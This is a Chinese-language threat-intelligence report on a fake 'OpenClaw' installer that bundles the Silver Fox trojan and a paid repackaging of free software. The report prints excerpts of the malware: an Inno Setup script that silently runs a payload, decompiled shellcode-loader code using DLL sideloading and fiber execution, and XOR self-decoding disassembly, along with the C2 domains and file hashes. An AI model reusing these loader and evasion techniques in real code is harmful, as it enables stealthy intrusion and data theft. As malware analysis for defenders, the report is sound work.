警惕“套娃”式攻击:银狐木马借道虚假“OpenClaw本地部署工具”传播,背后暗藏商业欺诈

概述

  瑞星威胁情报平台近期捕获到一个高度仿真的恶意安装包(FakeApp)。该样本不仅捆绑了臭名昭著的银狐木马,其内置的所谓正常程序实质上也是一款涉嫌商业欺诈的李鬼软件。

  一旦用户运行程序,内嵌的恶意载荷会直接加载至内存执行。载荷随后以系统服务形式常驻,获取高权限后与远程服务器通信以窃取敏感数据。与传统样本不同,该样本携带的OpenClaw本地部署工具极具迷惑性——它将原本免费开源的项目通过技术封装变为收费模式,通过诱导用户付费实现二次牟利。

ATT&CK矩阵

战术 技术 具体行为
TA0002-执行 T1204-用户执行 诱导用户从仿冒站点下载并执行伪装为合法软件的恶意安装包
TA0003-持久化 T1543-创建或修改系统进程 创建系统服务实现本地持久化
TA0005-防御规避 T1055-进程注入 将恶意载荷注入系统进程执行
TA0005-防御规避 T1140-去混淆或解密文件和信息 多个恶意载荷使用函数名随机化、代码虚拟化、自定义XOR算法等技术来逃避检测
TA0005-防御规避 T1574-劫持执行流 白加黑技术执行恶意DLL
TA0010-外传信息 T1041-通过C2通道外传 恶意程序在执行最终载荷后,建立与远程控制服务器的通信,用于外传敏感数据。

攻击流程

image

样本分析

  攻击者利用搜索引擎优化(SEO)提升仿冒站点的排名,诱导用户点击恶意链接。

image

  本次捕获的样本正是通过仿冒OpenClaw官网的站点进行投放,然后诱骗用户下载安装包。

image

OpenClawAI 7beAolenc.exe分析

字段 内容
文件名 OpenClawAI 7beAolenc.exe
MD5 9c811bc7bfc124b3476cd11bb1834504
文件类型 EXE
安装包类型 Inno Setup
文件大小 42.4 MB (44,533,614 字节)

  作为Inno Setup安装程序,该样本负责释放多个内嵌文件。其中包含具有商业欺诈属性的OpenClaw安装包,以及利用白加黑DLL 侧加载)技术执行的多个恶意载荷。

[Files]
Source: "{app}\dwhiY\OpenClaw_77b4b0ac.exe"; DestDir: "{app}\dwhiY"; Flags: uninsneveruninstall onlyifdoesntexist ignoreversion 
Source: "{app}\dwhiY\YdmSe.ico"; DestDir: "{app}\dwhiY"; Flags: uninsneveruninstall onlyifdoesntexist ignoreversion 
Source: "{app}\tu5g\HLjjBgqULl.8"; DestDir: "{app}\tu5g"; Flags: uninsneveruninstall onlyifdoesntexist ignoreversion 
Source: "{app}\tu5g\vfrkUm.k"; DestDir: "{app}\tu5g"; Flags: uninsneveruninstall onlyifdoesntexist ignoreversion 
Source: "{app}\tu5g\YUZ8.exe"; DestDir: "{app}\tu5g"; Flags: uninsneveruninstall onlyifdoesntexist ignoreversion 
Source: "{app}\uF80\ai.ico"; DestDir: "{app}\uF80"; Flags: uninsneveruninstall onlyifdoesntexist ignoreversion 

[Run]
Filename: "{app}\tu5g\YUZ8.exe"; Description: "{cm:LaunchProgram,tiZpP\dKyjda\eABD\mjIG}"; Flags: hidewizard nowait
[Icons]
Name: "{userdesktop}\Claw"; Filename: "{app}\dwhiY\OpenClaw_77b4b0ac.exe"; IconFilename: "{app}\dwhiY\YdmSe.ico"; 

HLjjBgqULl.8分析

字段 内容
文件名 HLjjBgqULl.8
MD5 d01848170c92af6c9ad07b97489f11b3
文件类型 DLL
文件大小 3.40 MB (3,571,712 字节)
病毒名 Trojan.ShellCodeLoader!1.12EA8
备注 加载执行本地恶意载荷

  样本采用导出函数名随机化与代码虚拟化技术,极大地模糊了程序逻辑。这种策略不仅显著增强了样本的隐蔽性,更大幅提升了逆向工程与静态分析的门槛。

image

  在对恶意模块进行深层定位后发现,该程序通过文件读取方式加载同目录下的加密载荷 vfrkUm.k,并调用自定义算法将其还原为中间shellcode

 shellcode_name[2] = 'r';                      // 恶意载荷文件名:vfrkUm.k
  shellcode_name[3] = 'k';
  shellcode_name[1] = 'f';
  shellcode_name[0] = 'v';
  shellcode_name[5] = 'm';
  shellcode_name[7] = 'k';
  shellcode_name[6] = '.';
  shellcode_name[4] = 'U';
  memset(a1);
  memset(a1);
  v10 = 0;
  // 调用命令行参数函数获取当前程序所在路径
  CommandLine = GetCommandLine(a1);
  *(_QWORD *)&args_list[5] = CommandLineToArgW(a1, CommandLine, (__int64)&v10);
  *(_QWORD *)&args_list[3] = **(_QWORD **)&args_list[5];
  for ( i = (int)strlen((const char *)a1);
        i && *(_WORD *)(*(_QWORD *)&args_list[3] + 2 * i) != '\\' && *(_WORD *)(*(_QWORD *)&args_list[3] + 2 * i) != '/';
        --i )
  {
    ;
  }
  lstrcpynW((LPWSTR)a1, dest_str, args_list[3]);
  strncpy_1((const char *)a1, (__int64)dest_str, args_list);// 拼接得到程序所在目录路径
  strncpy_1((const char *)a1, (__int64)dest_str, shellcode_name);// 通过拼接当前进程目录与预设文件名,动态构造恶意载荷 vfrkUm.k 的绝对路径
  LODWORD(hTemplateFile) = 128;
  v5_handle_shllcode = (LPDWORD)call_CreateFileW(// 打开恶意载荷
                                  (LPCWSTR)a1,
                                  (DWORD)dest_str,
                                  0x80000000,
                                  (LPSECURITY_ATTRIBUTES)1,
                                  0,
                                  3u,
                                  hTemplateFile);
  v2_size_shellcode = call_GetFileSize((HANDLE)a1, v5_handle_shllcode);// 获取文件大小
  if ( v2_size_shellcode != -1 && v2_size_shellcode )
  {
    v7 = call_GetProcessHeap();
    shellcode_content = (_DWORD *)call_RtlAllocateHeap(a1, (__int64)v7, 8u, v2_size_shellcode);// 分配内存
    if ( shellcode_content )
    {
      args_list[1] = 0;
      if ( call_ReadFile(                       // 读取恶意载荷内容
             (HANDLE)a1,
             v5_handle_shllcode,
             (DWORD)shellcode_content,
             (LPDWORD)v2_size_shellcode,
             (LPOVERLAPPED)&args_list[1])
        && args_list[1] == v2_size_shellcode )
      {
        CloseHandle((HANDLE)a1);
        decode_shellcode = 0;
        v9 = 0;
        if ( (unsigned int)sub_7FFF02463720(
                             a1,
                             0xA213A99ALL,
                             shellcode_content,
                             v2_size_shellcode,
                             (__int64 *)&decode_shellcode,
                             &v9)
          && decode_shellcode )
        {
          call_HeapFree(a1, (__int64)v7, 0, (__int64)shellcode_content);
          decode_7FFF00D81020(decode_shellcode, 0x75A, decode_shellcode, 1);    //解码shellcode
          if ( (unsigned int)call_VirtualProtect(a1, decode_shellcode, v9, 0x40u, (__int64)v12) )// 修改内存保护属性         

  攻击者弃用传统的线程注入,转而利用Windows 纤程Fiber)在内存中调度执行代码。由于纤程属于用户态的任务调度,这种非典型的执行方式能有效穿透常规的进程监测与行为审计逻辑。

__int64 __fastcall exec_shellcode(__int64 a1, __int64 a2)
{
  __int64 v3; // [rsp+20h] [rbp-18h]

  if ( !call_ConvertThreadToFiber(a1, 0) )      // 把当前线程转换为纤程
    return 0;
  v3 = call_CreateFiber(a1, 0, a2, 0);          // 创建新纤程,用于执行解码后的shellcode
  if ( v3 )
  {
    call_SwitchToFiber(a1, v3);                 // 跳转执行shellcode
    sub_7FFF03D32340(a1, v3);
  }
  return 1;
}

  创建纤程。

image

shellcode分析

字段 内容
MD5 f686f66e3023d230ae27af4e0271d540
文件大小 13.9 MB (14,614,528 字节)
病毒名 Trojan.Kryptik/x64!1.13C15
备注 解码执行内嵌的恶意载荷

  为了彻底规避基于特征码的扫描,作为中间加载器的shellcode在执行过程中采取了多级释放策略:通过自定义XOR算法在内存中动态完成自解码,消除静态特征。

seg000:0000000000000098                         loc_98:                                 ; CODE XREF: seg000:loc_6D↑j
seg000:0000000000000098 E8 70 2B 00 00                          call    decode_2C0D     ; 自解码函数
seg000:000000000000009D E8 00 00 00 00                          call    $+5
seg000:00000000000000A2 5F                                      pop     rdi
seg000:00000000000000A3 48 81 C7 6B 00 00 00                    add     rdi, 6Bh ; 'k'
seg000:00000000000000AA 49 89 FB                                mov     r11, rdi
seg000:00000000000000AD 49 81 C3 02 01 00 00                    add     r11, 102h
seg000:00000000000000B4 41 53                                   push    r11
seg000:00000000000000B6 49 C7 C2 F8 29 00 00                    mov     r10, 29F8h
seg000:00000000000000BD 4B 8D 1C 13                             lea     rbx, [r11+r10]
seg000:00000000000000C1 0F B6 07                                movzx   eax, byte ptr [rdi]
seg000:00000000000000C4 44 0F B6 57 01                          movzx   r10d, byte ptr [rdi+1]
seg000:00000000000000C9 48 83 C7 02                             add     rdi, 2
seg000:00000000000000CD 49 39 DB                                cmp     r11, rbx
seg000:00000000000000D0 0F 84 2F 00 00 00                       jz      loc_105
seg000:00000000000000D6
seg000:00000000000000D6                         decode_D6:                              ; CODE XREF: seg000:0000000000000103↓j
seg000:00000000000000D6 FF C0                                   inc     eax
seg000:00000000000000D8 0F B6 C0                                movzx   eax, al
seg000:00000000000000DB 44 0F B7 24 07                          movzx   r12d, word ptr [rdi+rax]
seg000:00000000000000E0 45 00 E2                                add     r10b, r12b
seg000:00000000000000E3 42 0F B7 14 17                          movzx   edx, word ptr [rdi+r10]
seg000:00000000000000E8 88 14 07                                mov     [rdi+rax], dl
seg000:00000000000000EB 46 88 24 17                             mov     [rdi+r10], r12b
seg000:00000000000000EF 41 01 D4                                add     r12d, edx
seg000:00000000000000F2 45 0F B6 E4                             movzx   r12d, r12b
seg000:00000000000000F6 46 8A 24 27                             mov     r12b, [rdi+r12]
seg000:00000000000000FA 45 30 23                                xor     [r11], r12b
seg000:00000000000000FD 49 FF C3                                inc     r11
seg000:0000000000000100 49 39 DB                                cmp     r11, rbx
seg000:0000000000000103 75 D1                                   jnz     short decode_D6 ; 二次解码
seg000:0000000000000105
seg000:0000000000000105                         loc_105:                                ; CODE XREF: seg000:00000000000000D0↑j
seg000:0000000000000105 88 47 FE                                mov     [rdi-2], al
seg000:0000000000000108 44 88 57 FF                             mov     [rdi-1], r10b
seg000:000000000000010C C3                                      retn                    ; 跳转执行解码后的shellcode

  调用RtlDecompressBuffer函数对内嵌的压缩数据块进行解压。

image

  利用RtlMoveMemory将最终的恶意载荷(Payload)手动映射至预分配的内存空间。

image

  当执行流程跳转至最终载荷后,恶意程序正式激活,并启动核心功能模块,建立与远程控制服务器的通信。

image

  跳转执行最终的恶意载荷。

image

OpenClaw_77b4b0ac.exe分析

字段 内容
文件名 OpenClaw_77b4b0ac.exe
MD5 cc3646bd33d2a50bc605678663fb9698
文件类型 EXE
文件大小 4.12 MB (4,325,104 字节)
病毒名 PUF.Deceptor/NSIS!1.13BE6
备注 商业欺诈

  这类商业欺诈程序往往伪装成安装助手本地部署工具(如Python安装助手VSCode安装助手DeepSeek本地部署工具等),并利用搜索引擎优化(SEO)手段诱导用户下载使用。在安装过程中,程序会要求用户付费,将原本完全免费的软件包装成付费产品。这种行为诱使不明真相的用户为免费资源买单,严重侵害了用户权益,并是对开源精神的公然亵渎。

image

攻击过程可视化(EDR)

  瑞星EDR上详细记录了主机上的程序活动,通过威胁可视化调查功能,可以对本次攻击过程进行还原以及关系网展示。如EDR关系拓扑图所示,攻击链清晰地展示了从执行器到恶意DLL的加载过程

image

  由于攻击者对最终阶段的恶意载荷实施了代码虚拟化(VMP)深度混淆,导致其在进程注入环节的底层行为特征被有效屏蔽,避开了部分动态监测。尽管如此,EDR系统仍凭借网络层监控能力,精准捕捉并记录了该载荷与远程C2服务器(dcleb.com) 建立异常加密连接的关键行为。

image

总结

  近期OpenClaw(小龙虾)热度持续走高,瑞星建议用户不要盲目跟风,需警惕养虾存在的安全及隐私风险。同时还需擦亮眼睛,务必通过开源项目官方地址https://openclaw.ai/获取软件。另外,提醒用户注意任何要求为开源、免费软件付费的安装器本地部署工具都应高度警惕。

预防措施

  1. 不打开可疑文件。

    不打开未知来源的可疑的文件和邮件,防止社会工程学和钓鱼攻击。

  2. 部署网络安全态势感知、预警系统等网关安全产品。

    网关安全产品可利用威胁情报追溯威胁行为轨迹,帮助用户进行威胁行为分析、定位威胁源和目的,追溯攻击的手段和路径,从源头解决网络威胁,最大范围内发现被攻击的节点,帮助企业更快响应和处理。

  3. 安装有效的杀毒软件,拦截查杀恶意文档和木马病毒。

    杀毒软件可拦截恶意文档和木马病毒,如果用户不小心下载了恶意文件,杀毒软件可拦截查杀,阻止病毒运行,保护用户的终端安全。

    瑞星目前已经可以检出此次攻击事件的相关样本

image

  1. 及时修补系统补丁和重要软件的补丁。

沦陷信标(IOC)

  • MD5

    9C811BC7BFC124B3476CD11BB1834504
    D01848170C92AF6C9AD07B97489F11B3
    F686F66E3023D230AE27AF4E0271D540
    CC3646BD33D2A50BC605678663FB9698
  • Domain

    ai-openclaw.com.cn
    www.nmysq.top
    dcleb.com
  • 瑞星病毒名

    Trojan.ShellCodeLoader!1.12EA8
    Trojan.Kryptik/x64!1.13C15

Authors

Comments

No comments yet. Why don’t you start the discussion?

Leave a Reply

Your email address will not be published. Required fields are marked *